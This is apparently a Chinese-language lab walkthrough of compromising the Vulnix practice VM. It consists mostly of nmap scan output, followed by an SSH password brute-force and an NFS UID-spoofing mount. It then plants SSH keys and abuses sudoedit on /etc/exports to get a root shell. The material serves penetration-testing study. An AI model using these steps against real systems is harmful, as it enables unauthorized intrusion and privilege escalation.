7-Vulnix_端口渗透

####信息收集
端口

```
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
35281/tcp open  unknown
37189/tcp open  unknown
48871/tcp open  unknown
51665/tcp open  unknown
59059/tcp open  unknown
```

漏洞脚本扫描

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 13:04 GMT
Nmap scan report for 192.168.1.201
Host is up (0.00023s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by
SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
```

```
disclosure of otherwise encrypted confidential information as well as the encryption
keys themselves.
|
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://www.openssl.org/news/secadv_20140407.txt
| ssl-ccs-injection:
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
```

| State: VULNERABLE
| Transport Layer Security (TLS) services that use anonymous
| Diffie-Hellman key exchange only provide protection against passive
| eavesdropping, and are vulnerable to active man-in-the-middle attacks
| which could completely compromise the confidentiality and integrity
| of any data exchanged over the resulting session.
| Check results:
| ANONYMOUS DH GROUP 1
| Cipher Suite: TLS_DH_anon_WITH_DES_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: postfix builtin
| Modulus Length: 1024
| Generator Length: 8
| Public Key Length: 1024
| References:
| https://www.ietf.org/rfc/rfc2246.txt
|
| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
| State: VULNERABLE
| IDs: CVE:CVE-2015-4000 BID:74733
| The Transport Layer Security (TLS) protocol contains a flaw that is
| triggered when handling Diffie-Hellman key exchanges defined with
| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
| to downgrade the security of a TLS session to 512-bit export-grade
| cryptography, which is significantly weaker, allowing the attacker
| to more easily break the encryption and monitor or tamper with
| the encrypted stream.
| Disclosure date: 2015-5-19
| Check results:
| EXPORT-GRADE DH GROUP 1
| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: Unknown/Custom-generated
| Modulus Length: 512
| Generator Length: 8
| Public Key Length: 512
| References:
| https://www.securityfocus.com/bid/74733
| https://weakdh.org
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|
| Diffie-Hellman Key Exchange Insufficient Group Strength
| State: VULNERABLE

```
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: postfix builtin
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
79/tcp    open  finger
110/tcp   open  pop3
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by
SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the encryption
keys themselves.
|
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://www.openssl.org/news/secadv_20140407.txt
| ssl-dh-params:
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
```

```
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_256_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
111/tcp   open  rpcbind
143/tcp   open  imap
| ssl-dh-params:
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
```

```
|_      https://weakdh.org
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
| ssl-ccs-injection:
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
```

```
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by
SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the encryption
keys themselves.
|
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://www.openssl.org/news/secadv_20140407.txt
| ssl-dh-params:
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
```

```
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
995/tcp   open  pop3s
| ssl-ccs-injection:
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|       http://www.openssl.org/news/secadv_20140605.txt
|_      http://www.cvedetails.com/cve/2014-0224
| ssl-dh-params:
|   VULNERABLE:
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by
SSL/TLS encryption.
|     State: VULNERABLE
```

```
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the encryption
keys themselves.
|
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_      http://www.openssl.org/news/secadv_20140407.txt
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  BID:70574
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       https://www.imperialviolet.org/2014/10/14/poodle.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.securityfocus.com/bid/70574
2049/tcp  open  nfs
35281/tcp open  unknown
37189/tcp open  unknown
48871/tcp open  unknown
51665/tcp open  unknown
59059/tcp open  unknown
MAC Address: 00:0C:29:8B:FF:57 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 208.31 seconds
```

服务探测

```
—# nmap -sV -sC -O 192.168.1.201 -p
22,25,79,110,111,143,512,513,514,993,995,2049,35281,37189,48871,51665,59059
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 13:18 GMT
Nmap scan report for 192.168.1.201
```

```
Host is up (0.00034s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open  smtp       Postfix smtpd
|_ssl-date: 2024-01-02T13:19:19+00:00; +5s from scanner time.
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=vulnix
| Not valid before: 2012-09-02T17:40:12
|_Not valid after:  2022-08-31T17:40:12
79/tcp    open  finger     Linux fingerd
|_finger: No one logged on.\x0D
110/tcp   open  pop3       Dovecot pop3d
|_ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
|_pop3-capabilities: RESP-CODES TOP CAPA UIDL SASL PIPELINING STLS
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      40525/udp   mountd
|   100005  1,2,3      42671/tcp6  mountd
|   100005  1,2,3      44805/udp6  mountd
|   100005  1,2,3      59059/tcp   mountd
|   100021  1,3,4      34486/udp6  nlockmgr
|   100021  1,3,4      40504/udp   nlockmgr
|   100021  1,3,4      51665/tcp   nlockmgr
|   100021  1,3,4      59184/tcp6  nlockmgr
|   100024  1          35548/udp6  status
```

```
|   100024  1          37189/tcp   status
|   100024  1          42820/tcp6  status
|   100024  1          48273/udp   status
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
143/tcp   open  imap       Dovecot imapd
|_ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_imap-capabilities: LITERAL+ have SASL-IR IMAP4rev1 more ID post-login listed
capabilities LOGINDISABLEDA0001 LOGIN-REFERRALS OK STARTTLS IDLE ENABLE Pre-login
512/tcp   open  exec       netkit-rsh rexecd
513/tcp   open  login      OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
993/tcp   open  ssl/imap   Dovecot imapd
|_imap-capabilities: LITERAL+ have SASL-IR IMAP4rev1 ID more post-login
AUTH=PLAINA0001 listed capabilities LOGIN-REFERRALS OK IDLE ENABLE Pre-login
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
995/tcp   open  ssl/pop3   Dovecot pop3d
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_pop3-capabilities: RESP-CODES TOP CAPA UIDL SASL(PLAIN) PIPELINING USER
|_ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
2049/tcp  open  nfs        2-4 (RPC #100003)
35281/tcp open  mountd     1-3 (RPC #100005)
37189/tcp open  status     1 (RPC #100024)
48871/tcp open  mountd     1-3 (RPC #100005)
51665/tcp open  nlockmgr   1-4 (RPC #100021)
59059/tcp open  mountd     1-3 (RPC #100005)
MAC Address: 00:0C:29:8B:FF:57 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
```

```
Network Distance: 1 hop
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 3s

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.50 seconds
```

目标服务器上存在的用户名的id

```
vulnix
root
user
```

枚举到的服务器用户名

```
backup
 bin
 daemon
 games
 gnats
 irc
 landscape
 libuuid
 list
 lp
 mail
 dovecot
 man
 messagebus
 news
 nobody
 postfix
 proxy
 root
 sshd
 sync
 sys
 syslog
 user
 dovenull
```

```
uucp
whoopsie
www-data
```

对面机子nfs能挂载一个目录，但是没有权限进去，尝试爆破上面的用户名

```
└─# showmount -e 192.168.1.201
Export list for 192.168.1.201:
/home/vulnix *
```

```
[DATA] attacking ssh://192.168.1.201:22/
[22][ssh] host: 192.168.1.201   login: user   password: letmein
```

总结下目前得到的信息：
1.漏扫没有漏洞
2.通过对目标系统的服务的枚举和利用获得了

- user用户
- 一个可挂载目录

##提权：
目标系统可挂载目录：/home/vulnix
挂载到本机：mount -t nfs 192.168.1.201:/home/vulnix /mnt/new_back -o nolock
进入权限不足：会验证当前用户的uid等信息

```
└─# cd new_back
cd: 权限不够: new_back
```

绕过：本机创建个同组同uid的用户进入，该用户是我在user用户上得知的

```
vulnix:x:2008:2008::/home/vulnix:/bin/bash
```

切换该用户后进入挂载目录

```
└─# su vulnix
$ id
uid=2008(vulnix) gid=2008(vulnix) 组=2008(vulnix)
$
```

资源整理：
user：常规提权无效
vulnix用户的挂载目录：无执行权限，但能写入
后面：提权到vulnix用户，在挂载目录上传ssh密钥，本机ssh连到该用户

本机操作：
ssh-keygen -t rsa

然后把公开内容复制
服务器的挂载目录：
把密钥上传上去

最后不用密码都能连上去
ssh vulnix@192.168.1.201

```
vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
```

vulnix此用户内提权
sudo -l #能用root权限修改/etc/exports

```
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/us

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```

修改/etc/exports
把服务器挂载目录改成 / 想办法重启目标服务器后，配置生效
mount 192.168.1.201:/ /mnt/th #把根目录挂载到本机

```
┌──(root㉿kali)-[/mnt/th]
└─# ls
bin   dev  home      lib         media  opt   root  sbin  srv  tmp  var
boot  etc  initrd.img  lost+found  mnt    proc  run   selinux  sys  usr  vmlinuz
```

如法炮制，把ssh公钥上传到挂载目录里，然后通过ssh连接
ssh root@192.168.1.201

```
root@vulnix:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnix:~#
```